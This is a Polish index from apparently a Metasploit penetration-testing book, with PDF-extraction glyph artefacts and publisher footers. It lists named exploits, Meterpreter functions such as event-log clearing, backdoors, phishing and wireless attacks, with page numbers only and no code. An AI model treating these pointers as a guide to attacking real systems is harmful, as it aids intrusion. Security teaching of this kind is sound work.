swoich modu(cid:239)ów, aby inni mogli z nich korzysta(cid:202).
140
Kup książkęPoleć książkęSkorowidz
A
adres
IP, 184
MAC, 171, 191
aktualizacja
systemu BackTrack, 28
pakietu SET, 207
alokator pami(cid:218)ci, 91
analiza
luk w zabezpieczeniach, 19
modu(cid:239)u, 133
skryptu, 266
Antiparser, 159
antyphishingowy pasek narz(cid:218)dzi, 43
AP, access point, 189
aplikacja, Patrz tak(cid:285)e narz(cid:218)dzie
7zip, 87
Adobe Acrobat, 107
Adobe Reader, 106
AVG 10, 117
ESET NOD32, 116
Fern WiFi Cracker, 180,
187–194
Flash Player, 102
MacStumbler, 198
Microsoft Excel 2007, 106
Microsoft Word, 104
PuTTY, 31–33, 254
VMware, 29
VNCViewer, 271
Vomit, 174
Wiresh, 168
archiwum sfx, 87, 120
atak
client-side, 98, 110
DoS, 127, 175
e-mail, 214
Incognito, 276–279
MiTM, 172
phishing, 212
si(cid:239)owy, 123, 124
spear-phishing, 212, 213
typu z(cid:239)y bli(cid:283)niak, 198
wieloaspektowy, 218
WWW, 215
wykorzystuj(cid:200)cy podszywanie
si(cid:218), 173
zatruwania ARP, 172
atrybuty MACE, 237
audyt bezpiecze(cid:241)stwa, 95
sieci bezprzewodowej, 191
autoryzacja, 136
B
backdoor, 219, 221, 247
BackTrack 5 R3, 13, 26, 207
bajty zerowe, null bytes, 147
baza danych
GHDB, 43
MySQL, 126
PostgreSQL, 33
BBQSQL, 37
biblioteka
biblioteki
MSF Core, 20
Rex, 20, 265
shell32.dll, 259
DLL, 92, 94
MSF, 132
MSFcore, 144
blok SEH, 118
Bluetooth, 179
b(cid:239)(cid:200)d 404, 176
b(cid:239)(cid:218)dy
bazy danych, 22
instalacji Metasploit, 25
po(cid:239)(cid:200)czenia z baz(cid:200), 35
brama sieciowa, gateway, 229
budowanie, Patrz tworzenie
C
certyfikat, 71, 211
certyfikat SSH, 33
ciasteczka, cookies, 193
czynno(cid:258)ci wst(cid:218)pne, 18
D
deklaracje funkcji, 268
deszyfrowanie w locie, 193
DLL, Dynamic Link Library, 94
dodatek Railgun, 259, 260
dodawanie
bibliotek DLL, 261
DLL do Railgun, 261
parametrów, 263
trasy, 184
dokumentacja narz(cid:218)dzia Railgun, 261
domieszki exploitów
Exploit::BruteTargets, 142
Exploit::Capture, 143
Exploit::Remote::DCERPC, 142
Exploit::Remote::Ftp, 142
Exploit::Remote::MSSQL, 143
Exploit::Remote::SMB, 142
Exploit::Remote::TCP, 142
Exploit::Remote::UDP, 142
domieszki Meterpretera, 255, 257
cmd_exec, 257
eventlog_clear, 257
eventlog_list, 257
file_local_write, 257
is_admin?, 257
is_uac_enabled?, 257
registry_createkey, 257
registry_deleteval, 257
registry_delkey, 257
registry_enumkeys, 257
registry_enumvals, 258
registry_getvaldata, 258
Kup książkęPoleć książkę
Skorowidz
domieszki Meterpretera
service_create, 258
service_delete, 258
service_info, 258
service_list, 258
service_start, 258
service_stop, 258
DoS, Denial of Service, 128, 175
dost(cid:218)p
dowód koncepcji, proof of concept,
do interfejsu, 251
do Metasploit, 24
zdalny, 83
147
dzia(cid:239)anie
exploita dcom, 84
systemu VoIP, 162
dzienniki firewalli, 51
E
edytor tekstowy gedit, 264
eksploatacja, 19
aplikacji PHP, 274
typu client-side, 97
elementy TLV, 234
enumeracja, 42, 127
exploit, 20, 39, 77, 141–159
dcom, 84
KiTrapOD, 233
lsa_transnames_heap, 89
ms03_026_dcom, 79, 83
ms08_067_netapi, 276
ms10_087_rtf_pfragments_bof,
104
ms11_021_xlb_bof, 106
webdav_dll_hijacker, 92
extranet, 42
F
fa(cid:239)szywy
faza
podpis apletu, 218
punkt dost(cid:218)powy, 198, 200
poeksploatacyjna, 19
skanowania i enumeracji, 164
filtr antyphishingowy, 43
firewall, 31, 232
floodowanie, 176
folder
exploit, 143
gather, 130
modules, 122
footprinting, 42
292
format
framework
modu(cid:239)u exploita, 144
RTF, 104
SWF, 103
U3D, 106, 108
Antiparser, 159
BBQSQL, 37
Karmetasploit, 201
Metasploit, 19
funkcja
check(), 145
CMshtmlEd::Exec(), 99
connect_login, 135
def initialize(), 145
exploit(), 145, 151
initialize(), 144, 150
IsUserAnAdmin, 259
Targets_exec(), 271
VirtualAlloc, 118
wrong_meter_version(), 268
funkcje Meterpretera, 224
fuzzer, 156
protoko(cid:239)owy, 154
serwera FTP FileZilla, 156
fuzzowanie aplikacji, 153
importowanie
modu(cid:239)u exploita, 152
wyników skanowania, 70
informacje
o autoryzacji, 136
o otwartych portach, 98
o systemie operacyjnym, 98
instalowanie
interfejs
bazy danych, 33
exploita, 81
Fern Wi-Fi Cracker, 181
frameworku Metasploit, 23, 26
laboratorium, 164
maszyny wirtualnej, 29
API, 255
API Meterpretera, 258
bazy danych, 63
DCOM, 81
graficzny u(cid:285)ytkownika, GUI, 21
msfcli, 21
msfconsole, 21, 34
msfgui, 21
msfweb, 21
u(cid:285)ytkownika, UI, 21
internet, 42
intranet, 42
G
generator zainfekowanych
no(cid:258)ników danych, 219
generowanie
hase(cid:239), 124
pliku binarnego, 108
geolokalizacja, 194, 196
GHDB, 43
GUI, Graphical User Interface, 21,
180
H
has(cid:239)o, 168
hopper VoIP, 171
hostowanie samodzielne, 162
I
IAENG, 7
identyfikacja systemu operacyjnego,
50
identyfikator
procesu, PID, 242, 271
us(cid:239)ugi, SSID, 201
IIS, Internet Information Services,
128
J
j(cid:218)zyk
Python, 191
Ruby, 84
Visual Basic, 87, 120
K
Karmetasploit, 201
klient SSH, 31
klonowanie, 30
adresu URL, 216
frameworku Metasploit, 25
kod pow(cid:239)oki, 108, 109
kod pow(cid:239)oki syringe.sh, 119, 120
kodowanie msf, 87
komenda, Patrz polecenie
komentarze, 263
komunikacja klient-serwer, 227
konfigurowanie
bazy danych, 33
BBQSQL, 38
Fern Wi-Fi Cracker, 181
kana(cid:239)ów komunikacji, 234
Karmetasploit, 201
laboratorium, 164
Kup książkę
Pobierz darmowy fragment (pdf)